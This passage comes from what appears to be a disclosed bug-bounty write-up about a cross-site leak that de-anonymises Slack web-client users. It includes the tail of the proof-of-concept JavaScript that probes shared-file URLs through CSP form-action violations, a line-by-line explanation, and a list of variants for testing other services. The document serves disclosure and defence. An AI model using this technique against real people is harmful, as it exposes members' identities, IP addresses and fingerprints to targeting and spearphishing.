        });
        for (var i = 0; i < trackers.length; i++) {
          myForm.action = trackers[i];
          myForm.submit();
          await sleep();
        }
        notifyOfVisitBy(tracked[bv]);
      }
      test();
    </script>
  </body>
</html>

Line by line:

  • trackers holds the two shared file URLs. The first was shared with Alice and Carol, the second with Bob and Carol.
  • tracked maps each possible bit vector value to a name. Index 0 is the anonymous case, 1 is Alice, 2 is Bob and 3 is Carol.
  • bv starts at 3, which in two bits is 11, all ones. The idea is to start by assuming every bit is set and clear the ones that turn out not to apply.
  • The violation listener does bv ^= 1 << i. The ^ operator is bitwise exclusive OR, which flips a bit, and 1 << i builds a number with only bit i set. So each violation clears the bit for the current tracker.
  • The loop submits each tracker URL in turn and waits one second after each.
  • At the end, tracked[bv] looks up the name for the resulting bit vector.

Why this works: if the visitor is Carol, both resources are accessible, no violations fire, and bv stays 11, which is 3, which maps to Carol. If the visitor is Alice, only the first resource is accessible, so the second submission causes a violation, bit 1 is cleared, and bv becomes 01, which is 1, which maps to Alice. If the visitor is anonymous, both submissions cause violations and bv becomes 00, which maps to the anonymous entry.

Or watch on YouTube
YouTube video From the original on jub0bs.com

This approach is more efficient but less stealthy. It generates a lot of notification noise in the victims' Web clients, because each shared resource produces a notification. A burner account that is later deactivated would not make those notifications disappear, because the group conversations involve more than two people.

Why it works at all

The file URL is not specific to a person. The same URL is served to everyone concerned, and the response differs only by who is asking: the person who shared the file, the person it was shared with, another logged-in member, or an anonymous visitor. That difference is visible from a third-party page.

The SameSite=Lax cookie was meant to limit cross-site requests, but a GET-based form submission counts as a top-level navigation and therefore carries the cookie. Chromium's decision to enforce form-action on redirects turns the resulting redirect into a detectable signal. The write-up does not say which part of Slack's code produces the redirect loop.

What the attacker gains

A malicious workspace member can identify a fellow member among n others in no more than O(log n) requests, and can leak the victim's IP address and browser fingerprint. An IP address is the numeric address your internet connection uses, which can hint at your location and your provider. A browser fingerprint is the collection of details about your browser and device that, together, can single you out even without cookies.

De-anonymisation can be followed by spearphishing: a targeted phishing message. A victim lured to a fake Slack login page with her email address already filled in, which Slack shows to other members by default, may not think to check the address bar. The researcher also points to a recent case where ProtonMail handed activists' IP addresses and browser fingerprints to French police, and to companies that specialise in linking social-media posts to physical locations and routinely partner with law enforcement.

The attack has limits. It only works in Chromium-based browsers, not in Slack's desktop or mobile apps, which are likely more popular than the Web client. It either creates a lot of notification noise or scales poorly. It is partly timing-based, so a badly chosen delay (ms in the proof of concept) can produce wrong answers. The researcher notes there may be a way to share a resource silently, without a notification, but is not aware of one.

Users cannot do much to protect themselves. Any member can send a direct message to any other, and as far as the researcher knows Slack does not let users block other users. Muting the conversation with the attacker does not help. For people who insist on using the Web client, the effective measures are limited to using a dedicated browser instance and/or the Tor network, not browsing anything else while logged in, or turning JavaScript off altogether.

What Slack said, and why the researcher disagreed

Slack chose not to make a change and closed the report as Informative. In its reply, Slack said it generally considers workspaces to be at least somewhat trusted spaces and requires a higher severity bar for problems that exist only within a team. It also said there is at least some implied trust or familiarity between two users in a workspace, unlike truly public services such as Twitter, and that this attack relies on a team-member-against-team-member scenario.

The researcher pushes back on several points.

First, Slack may be overestimating the trust between members. The Electronic Frontier Foundation, or EFF, a digital rights organisation, puts it well: any group environment is only as trustworthy as the people who participate in it, and members can share and even screenshot content. There are large cross-business workspaces, such as the EBRC's and Chromium's, where assuming mutual trust between so many members is dangerous.

Second, the barrier to entry is low. By default, any non-guest member can invite people to a workspace. Admins can restrict signup to email addresses from an allowlist of domains, but few do, and when they do the allowlist can be quite permissive.

Third, membership is fluid. People join and leave, and even formerly respected members can be banned after missteps. Slack itself urges admins to deactivate accounts of members who no longer need access, saying that change is constant and people come and go. That advice sits awkwardly with Slack's stance on this report.

Fourth, privacy matters more to some people than others. Slack markets itself to government entities and military personnel, while the EFF observes that community groups, activists and workers increasingly use Slack. For those users, being identified is not a minor annoyance.

How it could be fixed

The researcher proposes two options.

The first is user-specific URLs. Each person would get their own address for a shared file. A stateless way to do this is to require an HMAC value in the URL, specific to both the person asking and the resource being asked for. An HMAC is a cryptographic checksum made with a secret key, so the server can verify the value without storing anything. The downside is that this may be hard to add without breaking links that have already been shared, and it may conflict with caching, where copies of responses are reused to save work.

The second is to use Fetch Metadata request headers. These are extra headers that browsers send to describe the nature of a request, and Chromium sends them. Opening the URL in the address bar sends:

HTTP
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

Clicking the Download button in Slack's interface sends:

HTTP
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

The malicious page sends:

HTTP
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document

The value of Sec-Fetch-Site differs in all three cases: none for the address bar, same-site for Slack's own button, and cross-site for the attacker's page. That difference should be enough for Slack to tell a genuine request from an attack of this kind.

A side issue: how Chromium handles form-action

Whether form-action should block redirects after a form submission is disputed. Even the W3C, the body that standardises the web, has not settled it, and the behaviour in the face of redirects remains unspecified. The discussion in the relevant GitHub issue has focused on the risk of leaking form data and on the trade-off between strictness and usability, but the possibility of an attacker abusing form-action for an XSLeak like this one appears to have been overlooked.

The researcher hopes the write-up will prompt the Chromium team to reconsider, because the current implementation somewhat undermines the benefits of SameSite=Lax. The researcher later opened crbug #1259077, on 6 December 2021, to alert the Chromium team.

The write-up lists four variants worth testing:

  1. Other file-sharing services with per-recipient access. Share a file with one account, then load its URL from a third-party page in a browser logged in as that account and as another account. A positive result is a different observable outcome, such as a download versus a redirect, for the two states.
  2. SameSite=Lax endpoints reachable by GET form submission. Find an endpoint that changes or reveals state and redirects on failure. Submit a form to it under a CSP form-action allowlist and listen for securitypolicyviolation. A positive result is a violation on redirect for unauthorised visitors and none for authorised ones.
  3. Group-based bit-vector targeting. On any service that supports group conversations, share resources with overlapping subsets of people and test access to each. A positive result is a bit vector that uniquely identifies the visitor among the targeted set.
  4. Fetch Metadata as a mitigation check. Send the three request shapes above to a candidate endpoint and compare Sec-Fetch-Site. A positive result is a server that rejects cross-site navigations while accepting none and same-site.

Glossary

  • API: a defined way for one piece of software to ask another for data or actions, like a menu of requests a service accepts.
  • Bit vector: a short sequence of zeros and ones used to represent a set of yes/no facts, here which shared files a person can access.
  • Bug bounty: a programme in which a company pays researchers for reporting security problems.
  • Burner account: a throwaway account created for a single purpose and then abandoned or deactivated.
  • Cookie: a small piece of data a website asks your browser to store and send back on later requests, commonly used to keep you logged in.
  • Cross-site leak (XSLeak): a technique that lets one website learn small facts about another website through indirect browser behaviour, without reading its data directly.
  • CSP (Content Security Policy): a set of rules a page sends to the browser restricting what it may load or submit to.
  • De-anonymisation: working out who an anonymous person is.
  • Direct message (DM): a private conversation between two people on a messaging service.
  • Fetch Metadata request headers: extra headers a browser sends describing the nature of a request, such as whether it is cross-site.
  • form-action: a CSP directive that lists the addresses a page's forms may submit to.
  • GET-based form submission: a form submission that puts its data in the URL rather than the request body.
  • Group direct message: a private conversation involving more than two people.
  • HMAC: a cryptographic checksum made with a secret key, used to prove a value was produced by someone holding the key.
  • HTTP status code: a number a server returns to describe the outcome of a request, such as 302 for a redirect.
  • IP address: the numeric address of an internet connection, which can hint at location and provider.
  • SameSite=Lax: a cookie setting that sends the cookie on top-level navigations to the site but not on background requests from other sites.
  • Same-Origin Policy (SOP): the browser rule that pages from different origins may not read each other's data.
  • Spearphishing: a phishing message tailored to a specific person.
  • Top-level navigation: when the browser leaves the current page and goes to a new one, as opposed to fetching data behind the scenes.
  • Tor network: a network that routes traffic through several relays to hide where it comes from.
  • Web beacon: a tiny resource whose mere loading tells someone that you visited a page.
  • Web client: the version of a service you use in a normal browser tab rather than through an installed app.
  • Workspace: a shared space on Slack where a group of people message and share files.
  • XSLeak: short for cross-site leak.

More by Julien Cretel

View all

3 more disclosed reports, best first.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.